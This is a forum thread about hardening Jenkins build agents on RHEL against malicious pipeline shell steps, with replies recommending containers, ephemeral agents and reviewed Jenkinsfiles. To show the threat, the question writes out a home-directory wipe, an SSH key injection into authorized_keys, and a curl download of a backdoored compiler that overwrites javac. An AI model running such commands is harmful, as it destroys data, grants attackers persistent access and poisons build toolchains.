Security concerns about the sh step

Jenkins setup:

  • latest LTS version of Jenkins
  • regular plugins (doesn’t matter in regards to my question)
  • Jenkins controller and agents both run on a RHEL 8 (soon 9) (
  • SELinux enabled
  • Agents are being run under a dedicated user “jenkins”

How to secure our build environment? E.g. anyone could do things like

sh "rm -rf ~/*"

as already mentioned here: Execute Shell - Build Step - command restriction but mentioned solution would never work IMO. First it should be implemented as an allowlist, second it would be really cumbersome to maintain it.

or worse:

script {
  def MY_PUB_KEY = 'ssh-rsa AAAAB3Nza....'
  sh "echo ${MY_PUB_KEY} >> ~/.ssh/authorized_keys"
}

or really evil stuff

sh "curl -o my_malicious_compiler_with_backdoor_injection https://my.site/cmplr"
sh "yes | cp my_malicious_compiler_with_backdoor_injection /data/jenkins/tools/hudson.model.JDK/openjdk-21/jdk/bin/javac"

ATM we are migrating our setup to Openshift as much as possible to overcome this pickle (more or less), this way we can guarantee fresh and clean artifacts. But there are use cases where we are still dependent on VM’s. How to handle these kind of situations?

At VM level we already do things like (via Ansible)

chattr +i /home/jenkins/.ssh/authorized_keys
chown root:root /home/jenkins/.kube && chmod 644 /home/jenkins/.kube
chown root:root /home/jenkins/.docker && chmod 644 /home/jenkins/.docker
chown root:root /opt/mytool/bin/mytool && chmod 755 /opt/mytool/bin/mytool
.... etc

to prevent global sharing of credentials, pub key injection, tool protection. However this list would never be extensive. And undermines functionality like setting up tools Managing Tools as these are deployed with jenkins:jenkins leaving them vulnerable for injection from pipelines.

I investigated the use of chroot to jail the jenkins user, apart from the tons of hassle setting this up, tools are still not covered.

Then I took a brave attempt of writing a custom SEPolicy but gave up as I understood that the result would be too much dependent on me as main author, where it would be really hard for my co-workers to maintain it.

So I’m looking for other serious options to enhance the security of agent VM’s. Any suggestions/ideas?

Run the things in a docker container. Once the build is finished whatever was done inside the container is gone.
Make use of cloud agents that are dynamically created each time an agent is needed.

The first line of defencce is running only reviewed and merged Jenkinsfiles, not anything an pull request (and take the review seriously, if a Jenkinsfile is involved).